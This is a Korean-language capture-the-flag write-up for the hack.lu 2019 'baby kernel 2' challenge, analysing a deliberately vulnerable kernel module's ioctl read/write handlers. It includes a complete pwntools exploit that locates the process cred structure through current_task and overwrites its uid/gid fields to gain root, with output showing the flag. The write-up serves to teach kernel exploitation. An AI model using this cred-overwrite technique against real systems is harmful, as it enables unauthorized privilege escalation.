Contents
Analysis
Exploit scenario
Flag
Reference
Analysis
풀어보기 전에, hack.lu CTF
가 끝난지 꽤 되었는데도 아직도 nc
가 열려있어서 문제풀기 편했다!
module init
이나 module exit
함수에는 별 다른 내용이 없으므로 주요 함수부터 분석하자.
driver_ioctl()
__int64 __fastcall driver_ioctl(file *file, unsigned int ioctl_num, unsigned __int64 ioctl_param)
{
read_args *str; // r12
_QWORD *v5; // [rsp+0h] [rbp-20h]
__int64 v6; // [rsp+8h] [rbp-18h]
str = ioctl_param;
printk(&unk_360); // ioctl called
if ( ioctl_num == 901 )
{
read(str);
}
else if ( ioctl_num == 902 )
{
copy_from_user(&v5, str, 16LL);
*v5 = v6;
}
return 0LL;
}
ioctl_num
으로 901
을 넘기면 read
, 902
를 넘기면 copy_from_user
를 호출한다.
read()
int __fastcall read(read_args *args_ptr)
{
unsigned __int64 val; // [rsp+0h] [rbp-18h]
read_args args; // [rsp+8h] [rbp-10h]
copy_from_user(&args, args_ptr, 16LL);
val = *args.addr;
copy_to_user(args.out, &val, 8LL);
return 0;
}
read
함수는 아래와 같다.
args
구조체는 아래와 같이 선언되어있다.
struct read_args
{
unsigned __int64 addr;
unsigned __int64 *out;
};
copy_from_user(&args, args_ptr, 16LL);
에서 args_ptr
의 데이터를 args
에 써넣는다.
그리고, val
에 args.addr
의 내부 값을 저장시킨다.
마지막으로 args.out
에 val
을 저장시킨다.
즉, 아래와 같은 느낌이다.
read(e.got["read"])
=> val = *args.addr
=> val = *(0x601020)
=> val = 0x7f......
=> args.out = 0x7f....
정리하면, 주소를 하나 입력했을때 그 주소의 내부 데이터를 리턴시켜주는 함수이다.
write()
int __fastcall write(write_args *args_ptr)
{
write_args args; // [rsp+0h] [rbp-10h]
copy_from_user(&args, args_ptr, 16LL);
*args.addr = args.value;
return 0;
}
args_ptr
을 args
에 저장시킨다.
여기서는 아래와 같은 구조체를 사용한다.
struct write_args
{
unsigned __int64 addr;
unsigned __int64 value;
};
args_addr
의 값을 args.value
로 저장시키는 함수이다.
여기까지만 봐도 끝났다 ㅎㅎ...
일단 AAR
와 AAW
가 둘다 발생해버리다.
이제 쓱쓱하면 싹싹 풀 수 있다.
Exploit scenario
커널 문제는 맨날 하던거처럼 commit_cred(prepare_kernel_cred(0))
으로 끝내야한다.
하지만 여기는 AAW
가 가능하므로 그냥 cred struct
의 값을 전부 0으로 덮어쓰면 된다.
cred struct
를 봐보자.
struct cred {
atomic_t usage;
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
unsigned char jit_keyring; /* default keyring to attach requested * keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
void *security; /* subjective LSM security */
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
이 구조체 부분에서 아래 부분만 덮어쓰면 된다.
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
그런데 이 부분의 주소를 어떻게 구해야할까? 분명 서버에 ASLR
도 걸려있을텐데 말이다.
여기서 우리는 current_task
라는 친구를 이용하면 된다.
current_task
는 현재 실행중인 프로세스의 task_struct
주소가 담겨 있다.
그리고 task_struct
는 실행중인 프로세스의 스레드 관련 정보가 담겨있는데, 여기 cred
구조체도 포함되어서 들어있다.
current_task의 주소는 문제에서 주어진 System.map 파일을 활용하여 구한다.
즉, read
함수를 이용하여 read(current_task)
꼴로 인자를 넘기면, task_struct
의 주소를 알 수 있다.
그리고 해당 주소부터 cred
구조체까지의 오프셋을 이용하면, cred
구조체까지의 거리도 구할 수 있다.
이제, write
함수를 이용하여 해당 주소를 전부 0으로 덮으면 된다.
uid
,gid
...의 사이즈는 보통 28
의 사이즈를 가지고 있으므로, 이만큼 쓱쓱 덮으면 된다!
Exploit
from pwn import *
#context.log_level = "debug"
r = remote("babykernel2.forfuture.fluxfingers.net",1337)
def read(addr):
r.sendlineafter("> ","1")
r.sendlineafter("Choose wisely",hex(addr))
r.recvuntil("power level is: ")
tmp = int(r.recv(16),16)
return tmp
def write(addr,value):
r.sendlineafter("> ","2")
r.sendlineafter("> ",hex(addr))
r.sendlineafter("> ",hex(value))
def uid():
r.sendlineafter("> ","3")
for i in range(2):
my_id = r.recvline()
log.info("id : " + my_id)
current_task = 0xffffffff8183a040
task_struct = read(current_task)
log.info("init_task : " + hex(task_struct))
cred_offset = 0x400
group_offset = 0x60
cred = task_struct + cred_offset
cred_struct = read(cred)
log.info("cred_struct : " + hex(cred_struct))
for i in range(1,8):
write(cred_struct + i*4,0)
r.interactive()
이런 커널문제는 nc
로 어떻게 풀지라는 생각을 많이했었다.
메뉴첼린지로 커널 기능을 구현했을줄은 상상도 못했다. 처음 풀어보는 유형이라 재미있었다.
더 좋은점은 코드를 C
로 안짜도 된다는점!
Flag
juntae@ubuntu:~/kernel/baby_kernel_2$ p ex.py
[+] Opening connection to babykernel2.forfuture.fluxfingers.net on port 1337: Done
[*] init_task : 0xffff888003372300
[*] cred_struct : 0xffff888003384300
[*] Switching to interactive mode
Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> $ 3
3
uid=0(root) gid=0(root) groups=1000(user)
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> $ 4
4
$ /flag
Which file are we trying to read?
> /flag
Here are your 0x35 bytes contents:
flag{nicely_done_this_is_how_a_privesc_can_also_go}
권한부분 보면 groups
는 user
권한이다.
이부분도 루트로 만드려면 cred
와 group_cred
간의 거리를 계산해서 한번 더 write
해주면 된다.
Reference
https://www.s1r1us.ninja/2019/10/hacklu-ctf-2019-writeups.html#babykernel
https://github.com/justcatthefish/ctf/blob/master/2019-10-23-hacklu-ctf/baby_kernel2_pwn/solution.py
https://nixdoc.net/man-pages/Tru64/man9r/current_task.9r.html